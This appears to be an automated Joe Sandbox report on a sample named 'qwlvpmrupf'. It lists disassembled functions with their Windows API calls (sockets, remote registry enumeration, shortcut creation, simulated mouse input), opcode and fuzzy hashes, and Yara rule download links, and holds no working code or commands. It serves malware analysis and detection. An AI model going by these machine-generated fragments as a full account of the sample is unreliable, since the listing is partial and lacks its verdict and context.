Instruction ID: 5283cfc82b236e13ab0577d981c5384c44aea3a4a6ba6f00a6cc704fbbc93dd2
Opcode Fuzzy Hash: 3b686d4a0d755d779951a52b9d8f837eb1b99ccf419568f28e31d38a071957b4
Instruction Fuzzy Hash: 50810876A007069BDB2A9F79CC81B6BB3E8EF46724F25452EF611DB6C1E770D9008B50

Function 003F266D Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003F3AA6: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,003F1979,00000000,?,?,00000000), ref: 003F3AF2

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 003F271D
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 003F273E
WSAGetLastError.WSOCK32 ref: 003F274F
inet_ntoa.WSOCK32(?), ref: 003F27E9
htons.WSOCK32(?,?,?,?,?), ref: 003F2838
_strlen.LIBCMT ref: 003F2892

Part of subcall function 003D4277: _strlen.LIBCMT ref: 003D4281

Part of subcall function 003786FE: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,0038C15A,?,?,?), ref: 0037871A
Part of subcall function 003786FE: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,0038C15A,?,?,?,?,0037AEB9,?,?), ref: 0037874D

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 3b293f90a4de06a1cfeef744a4e5221f199a83e1ff22a64c71e5dadeae499a44
Instruction ID: 3adb3c846538da3e836e68badd1612561811d70b8f0a4d5885212123cd62b280
Opcode Fuzzy Hash: 3b293f90a4de06a1cfeef744a4e5221f199a83e1ff22a64c71e5dadeae499a44
Instruction Fuzzy Hash: 6EA1DF31504305EFD326EF24C885E2B7BA8AF84314F54855CF69A9F2A2CB71ED46CB91

Function 003A658E Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00398669,00398669,?,?,?,003A67DF,00000001,00000001,8BE85006), ref: 003A65E8
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,003A67DF,00000001,00000001,8BE85006,?,?,?), ref: 003A666E
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 003A6768
__freea.LIBCMT ref: 003A6775

Part of subcall function 003A3BB0: RtlAllocateHeap.NTDLL(00000000,?,?,?,00396A99,?,0000015D,?,?,?,?,003985D0,000000FF,00000000,?,?), ref: 003A3BE2

__freea.LIBCMT ref: 003A677E
__freea.LIBCMT ref: 003A67A3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 0098200ebeee5c51b7b9fc14a888325932ce6a1d559099e8fbc913058da8c5d4
Instruction ID: 856ac43ad4b457821991cefb46a405910e4ac742564e61a4a8a49244addfd734
Opcode Fuzzy Hash: 0098200ebeee5c51b7b9fc14a888325932ce6a1d559099e8fbc913058da8c5d4
Instruction Fuzzy Hash: 3151F372610216AFDB278F64CC82EBF77AAEF46754F1A4228FC14DA150EB35DC44C6A0

Function 003FC53A Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003FC00D,?,?), ref: 003FD314
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD350
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3C7
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003FC629
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003FC684
RegCloseKey.ADVAPI32(00000000), ref: 003FC6C9
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 003FC6F8
RegCloseKey.ADVAPI32(?,?,00000000), ref: 003FC752
RegCloseKey.ADVAPI32(?), ref: 003FC75E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 8fe970ae6ad2da46ebe4ac4334e8dfe75eec2439d891b70d9a5e46c6c608c823
Instruction ID: 7624ee860736860d49cd909006aa94e7e1ec145f17077bf953ef798e947308c8
Opcode Fuzzy Hash: 8fe970ae6ad2da46ebe4ac4334e8dfe75eec2439d891b70d9a5e46c6c608c823
Instruction Fuzzy Hash: F4819D31218249AFD716DF24C984E3ABBF5BF84308F14955CF5998B2A2DB31ED09CB91

Function 003D003D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 003D0049
SysAllocString.OLEAUT32(00000000), ref: 003D00F0
VariantCopy.OLEAUT32(003D02F4,00000000), ref: 003D0119
VariantClear.OLEAUT32(003D02F4), ref: 003D013D
VariantCopy.OLEAUT32(003D02F4,00000000), ref: 003D0141
VariantClear.OLEAUT32(?), ref: 003D014B

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 3011fb2ab0493e49964c59ef6d6cd003ac23837871e2adbd8505e71ac3e3464b
Instruction ID: baffafbb5fcf8c285301df6a9522875e3b5976873e2c0909c06325a02604774e
Opcode Fuzzy Hash: 3011fb2ab0493e49964c59ef6d6cd003ac23837871e2adbd8505e71ac3e3464b
Instruction Fuzzy Hash: D3512A36940310ABCF2AAB74B885B29B3B9EF46B10F14944BE905DF396DB709C44CB95

Function 003E6DE8 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 003E6E36
CoInitialize.OLE32(00000000), ref: 003E6F93
CoCreateInstance.OLE32(00410CC4,00000000,00000001,00410B34,?), ref: 003E6FAA
CoUninitialize.OLE32 ref: 003E722E

Strings

.lnk, xrefs: 003E6E14, 003E6E7E, 003E6F3A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: b6df3e94cf7b1b6f84cc07d4c577101de968f490095f5941f5ae0b658104c5b9
Instruction ID: b0f38673f7fd43b0e81584d9d0bdbbe2d739e9dfb5489f997486ce460885d614
Opcode Fuzzy Hash: b6df3e94cf7b1b6f84cc07d4c577101de968f490095f5941f5ae0b658104c5b9
Instruction Fuzzy Hash: AFD15A71508241AFC315EF24C881E6BB7E8FF98704F10896DF1998B2A2DB70ED05CB92

Function 00408B3A Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,003CFB8F,00000000,?,?,00000000,?,003B39BC,00000004,00000000,00000000), ref: 00408BAB
EnableWindow.USER32(?,00000000), ref: 00408BD1
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00408C30
ShowWindow.USER32(?,00000004), ref: 00408C44
EnableWindow.USER32(?,00000001), ref: 00408C6A
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00408C8E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 890b24ccfd1d195d5347e41e57a4cd549068160922738ee5828ad3f128418d20
Instruction ID: 78d407a58d020cb44b421231c0ff584c9576a6e6b6f3888dc1e3a20363d4f38d
Opcode Fuzzy Hash: 890b24ccfd1d195d5347e41e57a4cd549068160922738ee5828ad3f128418d20
Instruction Fuzzy Hash: 6F416374605244AFDB15CF24CA89FA67BF0BB4A304F18417EF5886B3E2CB75A845CB58

Function 003F2C37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 003F2C45

Part of subcall function 003EEE49: GetWindowRect.USER32(?,?), ref: 003EEE61

GetDesktopWindow.USER32 ref: 003F2C6F
GetWindowRect.USER32(00000000), ref: 003F2C76
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 003F2CB2
GetCursorPos.USER32(?), ref: 003F2CDE
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 003F2D3C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 6ba6e3df160770884a26d5eb4e0b28f6ec8fb22245a719ed8347c1153cef62db
Instruction ID: 91796ae1ee0a03f785350de2a91fc8dcf53fe915d30ded7177d1f8457039ecd7
Opcode Fuzzy Hash: 6ba6e3df160770884a26d5eb4e0b28f6ec8fb22245a719ed8347c1153cef62db
Instruction Fuzzy Hash: 9031F072905319ABD721DF54D944BAFB7A9FFC4314F000A2AF995A7280CB31E908CB92

Function 003E6178 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

_wcslen.LIBCMT ref: 003E61D5
CoInitialize.OLE32(00000000), ref: 003E62EF
CoCreateInstance.OLE32(00410CC4,00000000,00000001,00410B34,?), ref: 003E6308
CoUninitialize.OLE32 ref: 003E6326

Strings

.lnk, xrefs: 003E61D0, 003E621B, 003E62DF

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 67dc02376183bacd516602e285286979e55a7c47405ab0d82923c238ec9c28c6
Instruction ID: fbd217f7d2c264f55c823046f2921746003c675c6930b35874e810f11167bea7
Opcode Fuzzy Hash: 67dc02376183bacd516602e285286979e55a7c47405ab0d82923c238ec9c28c6
Instruction Fuzzy Hash: 8FD174716042209FC715EF26C485A2ABBF1FF99354F11895DF88A9B3A1CB31EC45CB92

Function 003D2104 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 003D210F
UnloadUserProfile.USERENV(?,?), ref: 003D211B
CloseHandle.KERNEL32(?), ref: 003D2124
CloseHandle.KERNEL32(?), ref: 003D212C
GetProcessHeap.KERNEL32(00000000,?), ref: 003D2135
HeapFree.KERNEL32(00000000), ref: 003D213C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: a31e7d55871d54b97637fda4d6b1175f856829bfc83a60c193cc3979ed543c6c
Instruction ID: 7c99a95aed06e9300b9d6ec19d08f10044890a60936634e945ffef8e4c867743
Opcode Fuzzy Hash: a31e7d55871d54b97637fda4d6b1175f856829bfc83a60c193cc3979ed543c6c
Instruction Fuzzy Hash: 1DE0E576804101BBDB012FF1EE0CD0ABF39FF49322B108230F225A6070CB329424DB98

Function 003DCD90 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00374154: _wcslen.LIBCMT ref: 00374159

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003DCEAE
_wcslen.LIBCMT ref: 003DCEF5
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003DCF5C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 003DCF8A

Strings

0, xrefs: 003DCE6F

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 80d49ae59667c5658fcade78f9bceeda57c810d46a293dcbd2d64bbe14bb3df9
Instruction ID: 8fb99729e914ca6c8ae58b4e6829fb8f8f4272879d43157f05c257065f3931b5
Opcode Fuzzy Hash: 80d49ae59667c5658fcade78f9bceeda57c810d46a293dcbd2d64bbe14bb3df9
Instruction Fuzzy Hash: 0D5104B26343029FD7169F28E844BABB7EDAF85310F051A2EF895D6390DB70C904C752

Function 004046DB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00404794
IsMenu.USER32(?), ref: 004047A9
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004047F1
DrawMenuBar.USER32 ref: 00404804

Strings

0, xrefs: 004046E8

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: b2e26cfcadab810ecaa5539f930b552b798797575beab309e919276033f9b94b
Instruction ID: 8a8759c9d2ddad781b1afa55d142ce996d1954650458d6a844061d51a00adf9f
Opcode Fuzzy Hash: b2e26cfcadab810ecaa5539f930b552b798797575beab309e919276033f9b94b
Instruction Fuzzy Hash: 22415CB9A00249EFDB20DF50D984AABB7B4FF85314F04852AFA05A7390C734ED54CB64

Function 003D2672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 003D26F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 003D2709
SendMessageW.USER32(?,00000189,?,00000000), ref: 003D2739

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Strings

ComboBox, xrefs: 003D2680
ListBox, xrefs: 003D26B5

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 534bc5580329733f82f250a7de319f66318e50886a4b290bc8d2f10d0b3f13c5
Instruction ID: 08247393bd66db5e2f5c22ea07a2ae8246a04bc773f0e8dcded2664e5d767e2c
Opcode Fuzzy Hash: 534bc5580329733f82f250a7de319f66318e50886a4b290bc8d2f10d0b3f13c5
Instruction Fuzzy Hash: 98210772900104BFDB26ABB4EC45DFFB779EF55750F14811AF421AB2E2DB7C490A9A10

Function 00376332 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,0037637F,?,?,003760AA,?,00000001,?,?,00000000), ref: 0037633E
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00376350
FreeLibrary.KERNEL32(00000000,?,?,0037637F,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376362

Strings

kernel32.dll, xrefs: 00376336
Wow64DisableWow64FsRedirection, xrefs: 0037634A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 1bfe7bb6337ab0528d4ca936895386ae14654cb255507c8eedc71368ec8486b5
Instruction ID: 880c55003774ef8bc5b38689e99bcf70a97a6b7ac01736007c8388b661ae810f
Opcode Fuzzy Hash: 1bfe7bb6337ab0528d4ca936895386ae14654cb255507c8eedc71368ec8486b5
Instruction Fuzzy Hash: 52E08636E01F2157E22317596C19B5AA6189F86B227064125F904F6158DF7CCC05C0B8

Function 003762FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,003B54C3,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376304
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00376316
FreeLibrary.KERNEL32(00000000,?,?,003B54C3,?,?,003760AA,?,00000001,?,?,00000000), ref: 00376329

Strings

kernel32.dll, xrefs: 003762FD
Wow64RevertWow64FsRedirection, xrefs: 00376310

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 9bdd3dd501e0ea7c83fbe66e524239fdce486bf56578b1ba11fea7c7a7eb4532
Instruction ID: e28b0e3e96e0d4fea7fb1003324643ed5e1f4ffa232d9e6924f1a7174c21de3a
Opcode Fuzzy Hash: 9bdd3dd501e0ea7c83fbe66e524239fdce486bf56578b1ba11fea7c7a7eb4532
Instruction Fuzzy Hash: 58D0C23AE029216BA2332764AC29A8E7E14DECAB1134A4035B805B613CCF3CCC05C1D8

Function 003FACE6 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 003FAD86
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 003FAD94
GetProcessIoCounters.KERNEL32(00000000,?), ref: 003FADC7
CloseHandle.KERNEL32(?), ref: 003FAF9C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 399947c4f0ca9fff2ca066e2bfd5c31f4563ffd1727f64fe530ef5bcf4da1b1f
Instruction ID: 0bbb52b50124fa5723fcb7b69a76d4686b65c6181e8440960a9663969ebabb1c
Opcode Fuzzy Hash: 399947c4f0ca9fff2ca066e2bfd5c31f4563ffd1727f64fe530ef5bcf4da1b1f
Instruction Fuzzy Hash: B4A1BFB16047009FD721EF28C896F2AB7E5AF48714F14885DF6999F292DB74EC41CB82

Function 003FC328 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003FC00D,?,?), ref: 003FD314
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD350
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3C7
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003FC404
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003FC45F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003FC4C2
RegCloseKey.ADVAPI32(?,?), ref: 003FC505
RegCloseKey.ADVAPI32(00000000), ref: 003FC512

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

